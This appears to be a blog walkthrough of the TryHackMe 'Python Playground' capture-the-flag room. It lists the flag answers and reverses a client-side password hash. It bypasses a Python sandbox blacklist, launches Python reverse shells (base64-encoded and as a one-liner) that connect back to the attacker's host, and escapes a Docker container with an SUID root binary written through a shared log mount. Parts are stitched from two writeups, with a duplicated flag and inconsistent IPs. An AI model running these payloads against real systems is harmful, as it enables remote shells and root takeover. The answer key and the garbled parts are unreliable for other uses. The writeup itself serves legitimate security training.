thm-pythonplayground-nl

Featured image

 Tasks

Active Machine Information
Title

Python Playground v2

IP Address

10.10.1.16

Expires

1h 03m 33s

 
100%

Jump in and grab those flags! They can all be found in the usual places (/home/someuser and /root).


#1 What is flag 1?
THM{7e0b5cf043975e3c104a458a8d4f6f2f}
THM{69a36d6f9da10d23ca0dbfdf6e691ec5}
#2 What is flag 2?
THM{69a36d6f9da10d23ca0dbfdf6e691ec5}
#3 What is flag 3?
THM{be3adc69c25ad14eb79da4eb57925ad1}

I started with nmap scan.

nmap -T4 -p- -A 10.10.1.16
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-09 21:31 IST
Nmap scan report for 10.10.79.248
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   448.71 ms 10.9.0.1
2   448.82 ms 10.10.79.248

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.00 seconds

This showed that 2 ports, 22 and 80 are open. Moving on to the website hosted on port 80, I found the homepage with title Secure Python Playground.placeholder

The Login and Signup link ended nowhere but a “Go Back” page.

I ran ffuf to find the hidden directories and pages.

kali@kali:~/thm/python$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://10.10.22.8/FUZZ" -e .php,.html,.txt,.zip

 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/  v1.0.2 ________________________________________________  :: Method : GET :: URL : http://10.10.22.8/FUZZ :: Extensions : .php .html .txt .zip :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 
________________________________________________

admin.html              [Status: 200, Size: 3134, Words: 667, Lines: 118]
login.html              [Status: 200, Size: 549, Words: 152, Lines: 19]
index.html              [Status: 200, Size: 941, Words: 308, Lines: 30]
signup.html             [Status: 200, Size: 549, Words: 152, Lines: 19]

This gave me a page admin.html.The page had a login form and was using client side authentication.placeholderThe source of the page gave a link to the page a user would get redirected after login.The page worked fine without authentication.placeholder

http://10.10.79.248/super-secret-admin-testing-panel.html

Now I can run python code on this page.I tried to import os but that failed and after few attempts I came to know that i can’t use this word “import “.

I tried to read files on the machine and I was able to read shadow and passwd file,although they were not useful.placeholder

But this told me that maybe I am root on the machine the code is being ran on.

I tried to read /root/flag1.txt and got the first flag.

f=open("/root/flag1.txt","r")
print(f.read())

Since I had saw a hash in the javascript employed on the admin.html page. I thought to decrypt it. I reversed all the process and got the password.

def text_to_unicode(string):
    uni=[]
    for char in string:
         a=ord(char)
         a -= 97
         uni.append(str(a))
    return uni     

def unicode_to_text(string):
    out=""
    for char in range(0,len(string),2):
         a = int(string[char])    
         b = int(string[char +1])
         temp = a * 26
         temp += b
         out += chr(temp)
    return out
     
if __name__ == "__main__":
     hash="dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu"
     stri1 = text_to_unicode(hash)
     stri2 = unicode_to_text(stri1)
     stri3 = text_to_unicode(stri2)
     password = unicode_to_text(stri3)
     print(password)

Used the password to login as connor user through SSH.

Got the second flag.

Now, I came to know that the website is running in a docker container and I am logged in the Host machine.

Since, the nmap scan already had given the information that the server is Node JS Express framework.I tried to read the index.js from the python code executer page.

f=open("index.js","r")
print(f.read())
#index.js
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');

const express = require('express');
const app = express();
const port = 3000;

app.use(express.urlencoded({
    extended: false
}));

app.use(express.static(path.join(__dirname, 'static')));

function isAllowed(code){
    if(typeof code !== 'string'){
        return false;
    }
    if(code.indexOf('import ') >= 0){
        return false;
    }
    if(code.indexOf('eval') >= 0){
        return false;
    }
    if(code.indexOf('.system') >= 0){
        return false;
    }
    if(code.indexOf('exec') >= 0){
        return false;
    }

    return true;
}

function findAndInsert(str, find, insert){
    const i = str.indexOf(find) + find.length;

    return str.slice(0, i) + insert + str.slice(i);
}

function formatOut(code, output){
    const testingPanelHTML = fs.readFileSync('static/super-secret-admin-testing-panel.html');

    const insertedInput = findAndInsert(testingPanelHTML, '<textarea class="form-control mb-3" name="code">', code);
    const insertedOutput = findAndInsert(insertedInput, '<textarea class="form-control mb-3" readonly>', output);

    return insertedOutput;
}

app.post('/super-secret-admin-testing-panel.html', (req, res) => {
    const code = req.body.code;

    if(isAllowed(code)){
        // Execute the code
        const name = `scripts/${Math.floor(Math.random() * 100000000000)}.py`;
        fs.writeFileSync(name, code);

        const python = spawn('python3', [name]);

        let output = '';
        python.stdout.on('data', (data) => {
            output += data.toString();
        })
        python.stderr.on('data', (data) => {
            output += data.toString();
        })
        python.on('close', (exit_code) => {
            fs.unlinkSync(name);

            output += '\nExit code ' + exit_code;

            res.send(formatOut(code, output));
        })
    }else {
        res.send(formatOut(code, 'Security threat detected!'));
    }
})

app.listen(port, () => console.log('Listening!'));

This shows that import, exec, .system, eval cannot be passed in the code.

This post helped to execute those blacklisted commands.

__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('ls -la')

placeholder

I uploaded a python_pty_backconnect.py from python-pty-shells in the form of base64 encoded string.

base64 -w 0 tcp_pty_backconnect.py > hash
##Copied the text in hash file
##and then ran following command to upload the file
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('echo -n IyEvdXNyL2Jpbi9weXRob24yCiIiIgpSZXZlcnNlIENvbm5lY3QgVENQIFBUWSBTaGVsbCAtIHYxLjAKaW5mb2RveCAtIGluc2VjdXJldHkubmV0ICgyMDEzKQoKR2l2ZXMgYSByZXZlcnNlIGNvbm5lY3QgUFRZIG92ZXIgVENQLgoKRm9yIGFuIGV4Y2VsbGVudCBsaXN0ZW5lciB1c2UgdGhlIGZvbGxvd2luZyBzb2NhdCBjb21tYW5kOgpzb2NhdCBmaWxlOmB0dHlgLGVjaG89MCxyYXcgdGNwNC1saXN0ZW46UE9SVAoKT3IgdXNlIHRoZSBpbmNsdWRlZCB0Y3BfcHR5X3NoZWxsX2hhbmRsZXIucHkKIiIiCmltcG9ydCBvcwppbXBvcnQgcHR5CmltcG9ydCBzb2NrZXQKCmxob3N0ID0gIjEwLjExLjMuMTIyIiAjIFhYWDogQ0hBTkdFTUUKbHBvcnQgPSA5ODc2ICMgWFhYOiBDSEFOR0VNRQoKZGVmIG1haW4oKToKICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICBzLmNvbm5lY3QoKGxob3N0LCBscG9ydCkpCiAgICBvcy5kdXAyKHMuZmlsZW5vKCksMCkKICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQogICAgb3MuZHVwMihzLmZpbGVubygpLDIpCiAgICBvcy5wdXRlbnYoIkhJU1RGSUxFIiwnL2Rldi9udWxsJykKICAgIHB0eS5zcGF3bigiL2Jpbi9iYXNoIikKICAgIHMuY2xvc2UoKQoJCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkKCg== | base64 -d > run.py')
##This uploaded the file.
##Ran it using 
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('python2 run.py')

Got a reverse shell on the container

C:\Users\jacco>nc -nlvp 9876
listening on [any] 9876 ...
connect to [10.11.3.122] from (UNKNOWN) [10.10.161.162] 42928
root@playgroundweb:~/app# id
id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:~/app#
or we do it with

Alright, we are able to read files of the system! Let's see if we can create a reverse shell, let's use the python shell from the pentestmonkeys

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("11.11.3.122",9876));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Hmmm... Now we get Security threat detected!. It looks like we are being limited in what we can import, if we just enter import os we get the same error. It looks like it might just be checking for text, so let's try another way of importing os with something called Dunder (double under) methodsos = __import__('os') no if we run this we get a nice clean Exit code 0. Looks like we can use this little trick to bypass the "security":
subprocess = __import__('subprocess')
os = __import__('os')
socket = __import__('socket')

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.3.122",9876));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Don't forget to setup the nc listener on port 9876 and we get a shell! And it looks like a root shell too!
kali@kali:~/thm/python$ cat javadecrypt.py
def text_to_unicode(string):
uni=[]
for char in string:
a=ord(char)
a -= 97
uni.append(str(a))
return uni

def unicode_to_text(string):
out=""
for char in range(0,len(string),2):
a = int(string[char])
b = int(string[char +1])
temp = a * 26
temp += b
out += chr(temp)
return out

if __name__ == "__main__":
hash="dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu"
stri1 = text_to_unicode(hash)
stri2 = unicode_to_text(stri1)
stri3 = text_to_unicode(stri2)
password = unicode_to_text(stri3)
print(password)

kali@kali:~/thm/python$ python javadecrypt.py
spaghetti1245

We can now

kali@kali:~/thm/python$ ssh connor@10.10.1.16
connor@10.10.1.16's password:spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed Aug 12 12:36:45 UTC 2020

System load: 0.0 Processes: 93
Usage of /: 49.4% of 9.78GB Users logged in: 0
Memory usage: 23% IP address for eth0: 10.10.1.16
Swap usage: 0% IP address for docker0: 172.17.0.1


32 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Aug 12 12:18:42 2020 from 10.11.3.122
connor@pythonplayground:~$

Enumerating through the container, I found some logs at /mnt/log.

Ran Linpeas in the conatiner and found that /dev/xvda2 is mounted at /mnt/log, moreover this xvda2 is not present in container rather it is present in host.placeholder

I thought maybe somehow they are connected and sharing same data.

I visited the directory where the logs are stored in Linux /var/logs and found that this location is directly linked to the /mnt/log in container and if I write something through the container then that file is written with root as owner for both the host and the container.

Changed the permissions of /mnt/log directory to make /var/logs writable by connor,“chmod 777 .”

Thanks again to jammy for making me realize that the /mnt/log in the container was linked to /var/log on the parent machine just like I suspected earlier.
With this in mind we can create a file with suid bit set and execute it afterwards as connor. (This is possible because the root user id is the same across systems)

1
2
3
4
5
6
7
8
9
10
11
// ON THE CONTAINER
# printf 'int main(void){setresuid(0,0,0);system("/bin/sh");}'>tmp.c
# gcc tmp.c -o tmp
# chmod 777 tmp
# chmod +s tmp

// ON THE PARENT MACHINE
connor@pythonplayground:~$ /var/log/tmp
# id
uid=0(root) gid=1000(connor) groups=1000(connor)
# 

Author : Puckiestyle

 

 
Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *